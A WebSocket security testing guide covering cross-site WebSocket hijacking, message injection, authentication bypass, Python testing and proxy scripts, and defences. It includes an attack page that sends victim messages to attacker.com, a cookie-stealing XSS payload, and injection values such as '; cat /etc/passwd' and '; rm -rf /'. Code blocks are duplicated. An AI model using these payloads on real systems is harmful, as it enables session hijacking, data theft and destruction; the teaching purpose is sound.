WebSocket Security Testing
WebSockets enable bidirectional communication between browsers and servers, but their security model differs from traditional HTTP. This guide covers WebSocket-specific vulnerabilities including CSWSH, message injection, and authentication bypass.
Warning
š Quick Navigation
šÆ Fundamentals
ā” Attack Techniques
š ļø Tools
š§Ŗ Practice
- ⢠Practice Labs
- ⢠Testing Checklist
Understanding WebSockets
WebSockets provide persistent, bidirectional communication channels. Unlike HTTP's request-response model, WebSockets allow both client and server to send data at any time.
WebSocket Features
- ⢠Full-duplex communication
- ⢠Lower latency than HTTP polling
- ⢠Persistent connection
- ⢠Binary and text frame support
- ⢠Works over HTTP ports (80, 443)
Common Use Cases
- ⢠Chat applications
- ⢠Live notifications
- ⢠Real-time gaming
- ⢠Collaborative editing
- ⢠Stock/crypto tickers
The Handshake Process
# WebSocket Handshake
# Client Request (HTTP Upgrade)
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://vulnerable.com
Cookie: session=abc123
# Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
# After 101, connection becomes full-duplex WebSocket
# No more HTTP - raw binary/text frames# WebSocket Handshake
# Client Request (HTTP Upgrade)
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://vulnerable.com
Cookie: session=abc123
# Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
# After 101, connection becomes full-duplex WebSocket
# No more HTTP - raw binary/text framesKey Handshake Headers
- Origin: Indicates the origin of the page initiating the connection. Servers should validate this.
- Cookie: Automatically sent by browser. Authenticates the WebSocket connection.
- Sec-WebSocket-Key: Random base64 value used to prove handshake was received.
- Sec-WebSocket-Accept: Server's proof of receiving the key (hash of key + magic string).
WebSocket Security Model
WebSockets have a different security model than HTTP:
- ā ļø No Same-Origin Policy: Unlike XHR/Fetch, WebSocket connections can be initiated cross-origin. The Origin header is sent but not enforced.
- ā ļø Cookies Auto-Sent: Session cookies are automatically included in the handshake, enabling session riding.
- ā ļø No CSRF Tokens: WebSocket handshakes don't include CSRF tokens by default.
- ā Origin Validation: Servers must manually validate the Origin header to prevent cross-site attacks.
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is similar to CSRF but for WebSockets. If a server doesn't validate the Origin header, an attacker's page can connect to the WebSocket endpoint using the victim's cookies.
# Cross-Site WebSocket Hijacking (CSWSH)
# Exploit: Abuse missing Origin validation
# Attack page hosted on attacker.com
<html>
<script>
// Create WebSocket connection to vulnerable site
// Browser sends victim's cookies automatically
var ws = new WebSocket("wss://vulnerable.com/chat");
ws.onopen = function() {
console.log("[+] Connection opened");
// Send malicious message as victim
ws.send(JSON.stringify({
action: "get_messages",
room: "private"
}));
};
ws.onmessage = function(event) {
console.log("[+] Received: " + event.data);
// Exfiltrate data to attacker server
fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
ws.onerror = function(error) {
console.log("[-] Error: " + error);
};
</script>
</html>
# If server doesn't validate Origin header:
# - Attacker page connects to victim's account
# - Can read/send messages as victim
# - Cookies are sent automatically (same-origin policy doesn't apply to WS)# Cross-Site WebSocket Hijacking (CSWSH)
# Exploit: Abuse missing Origin validation
# Attack page hosted on attacker.com
<html>
<script>
// Create WebSocket connection to vulnerable site
// Browser sends victim's cookies automatically
var ws = new WebSocket("wss://vulnerable.com/chat");
ws.onopen = function() {
console.log("[+] Connection opened");
// Send malicious message as victim
ws.send(JSON.stringify({
action: "get_messages",
room: "private"
}));
};
ws.onmessage = function(event) {
console.log("[+] Received: " + event.data);
// Exfiltrate data to attacker server
fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
ws.onerror = function(error) {
console.log("[-] Error: " + error);
};
</script>
</html>
# If server doesn't validate Origin header:
# - Attacker page connects to victim's account
# - Can read/send messages as victim
# - Cookies are sent automatically (same-origin policy doesn't apply to WS)Information
Message Injection Attacks
Once connected, WebSocket messages can be manipulated to inject payloads. All standard web vulnerabilities apply to WebSocket message content.
# WebSocket Message Injection Payloads
# 1. JSON Injection - Escape and inject new properties
{"user":"attacker","msg":"hello","admin":true}
{"user":"attacker\",\"role\":\"admin\",\"x":""}
# 2. SQL Injection via WebSocket
{"action":"search","query":"' OR 1=1--"}
{"action":"getUser","id":"1 UNION SELECT password FROM users--"}
# 3. XSS via WebSocket (if messages rendered in DOM)
{"user":"<img src=x onerror=alert(1)>","msg":"test"}
{"msg":"<script>document.location='http://attacker.com/?c='+document.cookie</script>"}
# 4. Command Injection
{"action":"ping","target":"127.0.0.1; cat /etc/passwd"}
{"filename":"file.txt; rm -rf /"}
# 5. Path Traversal
{"action":"readFile","path":"../../../etc/passwd"}
{"download":"....//....//....//etc/passwd"}
# 6. Privilege Escalation
{"action":"updateRole","userId":"123","role":"admin"}
{"action":"deleteUser","userId":"*"}
# 7. DoS via Large Messages
{"data":"AAAA...repeated 10MB...AAAA"}
# 8. Binary Frame Attacks
# Send unexpected binary frames when server expects text# WebSocket Message Injection Payloads
# 1. JSON Injection - Escape and inject new properties
{"user":"attacker","msg":"hello","admin":true}
{"user":"attacker\",\"role\":\"admin\",\"x":""}
# 2. SQL Injection via WebSocket
{"action":"search","query":"' OR 1=1--"}
{"action":"getUser","id":"1 UNION SELECT password FROM users--"}
# 3. XSS via WebSocket (if messages rendered in DOM)
{"user":"<img src=x onerror=alert(1)>","msg":"test"}
{"msg":"<script>document.location='http://attacker.com/?c='+document.cookie</script>"}
# 4. Command Injection
{"action":"ping","target":"127.0.0.1; cat /etc/passwd"}
{"filename":"file.txt; rm -rf /"}
# 5. Path Traversal
{"action":"readFile","path":"../../../etc/passwd"}
{"download":"....//....//....//etc/passwd"}
# 6. Privilege Escalation
{"action":"updateRole","userId":"123","role":"admin"}
{"action":"deleteUser","userId":"*"}
# 7. DoS via Large Messages
{"data":"AAAA...repeated 10MB...AAAA"}
# 8. Binary Frame Attacks
# Send unexpected binary frames when server expects textAuthentication Bypass
# WebSocket Authentication Issues
# 1. No Auth After Handshake
# Many apps only check cookies during handshake
# Once connected, no further authentication
# Attack: Connect with valid session, then session expires
# WebSocket stays connected and functional!
# 2. Insufficient Authorization
# Auth checked on connect, but not on individual messages
{"action": "admin_panel", "data": "get_users"}
# May work even for non-admin users
# 3. Token-Based Auth Bypass
{"action": "connect", "token": "guest"}
# Later...
{"action": "admin_action", "token": "admin"}
# Server might not revalidate token per message
# 4. Race Condition in Auth
# Send rapid messages during session invalidation window
# Some may process with old privileges
# 5. ID Manipulation
{"action": "get_messages", "user_id": "123"}
# Change to another user's ID
{"action": "get_messages", "user_id": "456"}
# Testing Approach:
1. Connect with valid credentials
2. Invalidate session (logout elsewhere)
3. Try sending messages - still work?
4. Try escalating privileges in messages
5. Try accessing other users' data via ID manipulation# WebSocket Authentication Issues
# 1. No Auth After Handshake
# Many apps only check cookies during handshake
# Once connected, no further authentication
# Attack: Connect with valid session, then session expires
# WebSocket stays connected and functional!
# 2. Insufficient Authorization
# Auth checked on connect, but not on individual messages
{"action": "admin_panel", "data": "get_users"}
# May work even for non-admin users
# 3. Token-Based Auth Bypass
{"action": "connect", "token": "guest"}
# Later...
{"action": "admin_action", "token": "admin"}
# Server might not revalidate token per message
# 4. Race Condition in Auth
# Send rapid messages during session invalidation window
# Some may process with old privileges
# 5. ID Manipulation
{"action": "get_messages", "user_id": "123"}
# Change to another user's ID
{"action": "get_messages", "user_id": "456"}
# Testing Approach:
1. Connect with valid credentials
2. Invalidate session (logout elsewhere)
3. Try sending messages - still work?
4. Try escalating privileges in messages
5. Try accessing other users' data via ID manipulationPython WebSocket Testing Client
#!/usr/bin/env python3
"""
WebSocket Security Testing Client
Intercept, modify, and inject WebSocket messages
"""
import asyncio
import websockets
import json
import sys
TARGET = "wss://vulnerable.com/socket"
COOKIE = "session=victim_session_token"
async def basic_connect():
"""Basic WebSocket connection with cookie"""
headers = {"Cookie": COOKIE}
async with websockets.connect(TARGET, extra_headers=headers) as ws:
print(f"[+] Connected to {TARGET}")
# Send test message
await ws.send(json.dumps({"action": "ping"}))
# Receive response
response = await ws.recv()
print(f"[+] Received: {response}")
async def message_fuzzer(payloads):
"""Fuzz WebSocket endpoint with payloads"""
headers = {"Cookie": COOKIE}
async with websockets.connect(TARGET, extra_headers=headers) as ws:
for payload in payloads:
print(f"[*] Sending: {payload}")
try:
await ws.send(payload)
response = await asyncio.wait_for(ws.recv(), timeout=2.0)
print(f" Response: {response[:100]}...")
except asyncio.TimeoutError:
print(" No response (timeout)")
except Exception as e:
print(f" Error: {e}")
async def cswsh_test(origin):
"""Test for Cross-Site WebSocket Hijacking"""
# Try connecting with different Origin header
headers = {
"Cookie": COOKIE,
"Origin": origin
}
try:
async with websockets.connect(TARGET, extra_headers=headers) as ws:
print(f"[+] Connection ACCEPTED with Origin: {origin}")
print("[!] VULNERABLE to CSWSH!")
return True
except Exception as e:
print(f"[-] Connection rejected with Origin: {origin}")
return False
async def message_replay():
"""Capture and replay WebSocket messages"""
captured_messages = []
headers = {"Cookie": COOKIE}
async with websockets.connect(TARGET, extra_headers=headers) as ws:
print("[*] Capturing messages for 10 seconds...")
async def capture():
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.0)
captured_messages.append(msg)
print(f"[+] Captured: {msg[:50]}...")
except asyncio.TimeoutError:
continue
except:
break
await asyncio.wait_for(capture(), timeout=10.0)
# Replay captured messages
print(f"\n[*] Replaying {len(captured_messages)} messages...")
for msg in captured_messages:
await ws.send(msg)
print(f"[+] Replayed: {msg[:50]}...")
if __name__ == "__main__":
# Test CSWSH with various origins
origins = [
"https://attacker.com",
"https://evil.vulnerable.com",
"null",
""
]
for origin in origins:
asyncio.run(cswsh_test(origin))#!/usr/bin/env python3
"""
WebSocket Security Testing Client
Intercept, modify, and inject WebSocket messages
"""
import asyncio
import websockets
import json
import sys
TARGET = "wss://vulnerable.com/socket"
COOKIE = "session=victim_session_token"
async def basic_connect():
"""Basic WebSocket connection with cookie"""
headers = {"Cookie": COOKIE}
async with websockets.connect(TARGET, extra_headers=headers) as ws:
print(f"[+] Connected to {TARGET}")
# Send test message
await ws.send(json.dumps({"action": "ping"}))
# Receive response
response = await ws.recv()
print(f"[+] Received: {response}")
async def message_fuzzer(payloads):
"""Fuzz WebSocket endpoint with payloads"""
headers = {"Cookie": COOKIE}
async with websockets.connect(TARGET, extra_headers=headers) as ws:
for payload in payloads:
print(f"[*] Sending: {payload}")
try:
await ws.send(payload)
response = await asyncio.wait_for(ws.recv(), timeout=2.0)
print(f" Response: {response[:100]}...")
except asyncio.TimeoutError:
print(" No response (timeout)")
except Exception as e:
print(f" Error: {e}")
async def cswsh_test(origin):
"""Test for Cross-Site WebSocket Hijacking"""
# Try connecting with different Origin header
headers = {
"Cookie": COOKIE,
"Origin": origin
}
try:
async with websockets.connect(TARGET, extra_headers=headers) as ws:
print(f"[+] Connection ACCEPTED with Origin: {origin}")
print("[!] VULNERABLE to CSWSH!")
return True
except Exception as e:
print(f"[-] Connection rejected with Origin: {origin}")
return False
async def message_replay():
"""Capture and replay WebSocket messages"""
captured_messages = []
headers = {"Cookie": COOKIE}
async with websockets.connect(TARGET, extra_headers=headers) as ws:
print("[*] Capturing messages for 10 seconds...")
async def capture():
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.0)
captured_messages.append(msg)
print(f"[+] Captured: {msg[:50]}...")
except asyncio.TimeoutError:
continue
except:
break
await asyncio.wait_for(capture(), timeout=10.0)
# Replay captured messages
print(f"\n[*] Replaying {len(captured_messages)} messages...")
for msg in captured_messages:
await ws.send(msg)
print(f"[+] Replayed: {msg[:50]}...")
if __name__ == "__main__":
# Test CSWSH with various origins
origins = [
"https://attacker.com",
"https://evil.vulnerable.com",
"null",
""
]
for origin in origins:
asyncio.run(cswsh_test(origin))WebSocket MITM Proxy
#!/usr/bin/env python3
"""
WebSocket MITM Proxy
Intercept and modify WebSocket traffic
"""
import asyncio
import websockets
from websockets import serve
UPSTREAM = "wss://target.com/socket"
LISTEN_PORT = 8765
async def proxy_handler(client_ws, path):
"""Handle client connection and proxy to upstream"""
print(f"[+] Client connected, proxying to {UPSTREAM}")
async with websockets.connect(UPSTREAM) as upstream_ws:
async def client_to_server():
async for message in client_ws:
print(f"[CāS] {message}")
# Modify message here if needed
modified = modify_client_message(message)
await upstream_ws.send(modified)
async def server_to_client():
async for message in upstream_ws:
print(f"[SāC] {message}")
# Modify response here if needed
modified = modify_server_message(message)
await client_ws.send(modified)
await asyncio.gather(
client_to_server(),
server_to_client()
)
def modify_client_message(msg):
"""Modify messages from client to server"""
try:
data = json.loads(msg)
# Example: Escalate privileges
data['role'] = 'admin'
return json.dumps(data)
except:
return msg
def modify_server_message(msg):
"""Modify messages from server to client"""
# Pass through unmodified
return msg
async def main():
print(f"[*] WebSocket proxy listening on ws://localhost:{LISTEN_PORT}")
async with serve(proxy_handler, "localhost", LISTEN_PORT):
await asyncio.Future() # Run forever
if __name__ == "__main__":
asyncio.run(main())#!/usr/bin/env python3
"""
WebSocket MITM Proxy
Intercept and modify WebSocket traffic
"""
import asyncio
import websockets
from websockets import serve
UPSTREAM = "wss://target.com/socket"
LISTEN_PORT = 8765
async def proxy_handler(client_ws, path):
"""Handle client connection and proxy to upstream"""
print(f"[+] Client connected, proxying to {UPSTREAM}")
async with websockets.connect(UPSTREAM) as upstream_ws:
async def client_to_server():
async for message in client_ws:
print(f"[CāS] {message}")
# Modify message here if needed
modified = modify_client_message(message)
await upstream_ws.send(modified)
async def server_to_client():
async for message in upstream_ws:
print(f"[SāC] {message}")
# Modify response here if needed
modified = modify_server_message(message)
await client_ws.send(modified)
await asyncio.gather(
client_to_server(),
server_to_client()
)
def modify_client_message(msg):
"""Modify messages from client to server"""
try:
data = json.loads(msg)
# Example: Escalate privileges
data['role'] = 'admin'
return json.dumps(data)
except:
return msg
def modify_server_message(msg):
"""Modify messages from server to client"""
# Pass through unmodified
return msg
async def main():
print(f"[*] WebSocket proxy listening on ws://localhost:{LISTEN_PORT}")
async with serve(proxy_handler, "localhost", LISTEN_PORT):
await asyncio.Future() # Run forever
if __name__ == "__main__":
asyncio.run(main())Testing with Burp Suite
# Testing WebSockets with Burp Suite
# 1. Capture WebSocket Traffic
- Proxy ā WebSocket history shows all WS messages
- Click on any message to view details
- Right-click ā Send to Repeater
# 2. Modify and Replay Messages
- WebSocket Repeater allows editing and resending
- Modify JSON payload and click "Send"
- Watch for error messages revealing info
# 3. Use Intruder for Fuzzing
- Right-click message ā Send to Intruder
- Mark injection points in the message
- Add payload lists (SQLi, XSS, etc.)
- Start attack and analyze responses
# 4. Test for CSWSH Manually
- In Repeater, modify the Origin header in upgrade request
- Change to "https://attacker.com"
- If connection succeeds ā CSWSH vulnerable
# 5. Automate with Extensions
- "WebSocket Turbo Intruder" for high-speed attacks
- "CSWSH Scanner" for automated testing
# Key things to test:
- Missing Origin validation
- No authentication after handshake
- Injection in message content
- Privilege escalation via message manipulation
- Information disclosure in error messages# Testing WebSockets with Burp Suite
# 1. Capture WebSocket Traffic
- Proxy ā WebSocket history shows all WS messages
- Click on any message to view details
- Right-click ā Send to Repeater
# 2. Modify and Replay Messages
- WebSocket Repeater allows editing and resending
- Modify JSON payload and click "Send"
- Watch for error messages revealing info
# 3. Use Intruder for Fuzzing
- Right-click message ā Send to Intruder
- Mark injection points in the message
- Add payload lists (SQLi, XSS, etc.)
- Start attack and analyze responses
# 4. Test for CSWSH Manually
- In Repeater, modify the Origin header in upgrade request
- Change to "https://attacker.com"
- If connection succeeds ā CSWSH vulnerable
# 5. Automate with Extensions
- "WebSocket Turbo Intruder" for high-speed attacks
- "CSWSH Scanner" for automated testing
# Key things to test:
- Missing Origin validation
- No authentication after handshake
- Injection in message content
- Privilege escalation via message manipulation
- Information disclosure in error messagesPractice Labs
PortSwigger WebSocket Labs
Labs covering CSWSH and message manipulation
WebSocket Tutorial
Vulnerable WebSocket application for practice
OWASP Testing Guide
Official WebSocket testing methodology
HackerOne Reports
Real-world WebSocket vulnerabilities
Testing Checklist
š CSWSH Testing
- ā Check if Origin header is validated
- ā Try connecting from different origins
- ā Test with null Origin
- ā Test with subdomain variations
- ā Create PoC page for exploitation
ā” Message Testing
- ā Inject SQL payloads in messages
- ā Test XSS if messages are rendered
- ā Try command injection
- ā Manipulate user IDs/roles
- ā Send unexpected binary frames
š Auth Testing
- ā Check auth persistence after session invalidation
- ā Test horizontal privilege escalation
- ā Test vertical privilege escalation
- ā Try accessing admin functions
- ā Check per-message authorization
š Documentation
- ā Record WebSocket endpoint URL
- ā Document message format/protocol
- ā Save successful exploit payloads
- ā Note impact on other users
š”ļø Remediation & Defense
Defensive Measures
Authentication & Authorization
- ⢠Authenticate WebSocket connections during the handshake
- ⢠Validate the
Originheader to prevent Cross-Site WebSocket Hijacking - ⢠Use CSRF tokens in the WebSocket upgrade request
- ⢠Implement per-message authorization checks, not just at connection time
Input Validation & Rate Limiting
- ⢠Validate and sanitize all incoming WebSocket messages
- ⢠Enforce message size limits to prevent DoS
- ⢠Implement rate limiting on WebSocket messages
- ⢠Use structured message formats (JSON schema validation)
Encryption & Transport
- ⢠Always use
wss://(WebSocket over TLS), neverws:// - ⢠Set secure cookie flags for session cookies used in handshakes
- ⢠Implement connection timeouts and heartbeat mechanisms
- ⢠Log WebSocket connection and message events for audit
Monitoring
- ⢠Monitor for unusual message volumes or patterns
- ⢠Alert on connections from unexpected origins
- ⢠Log authentication failures during handshake
- ⢠Track concurrent connection counts per user/IP
CWE References: CWE-1385 (Missing Origin Validation in WebSockets), CWE-345 (Insufficient Verification of Data Authenticity)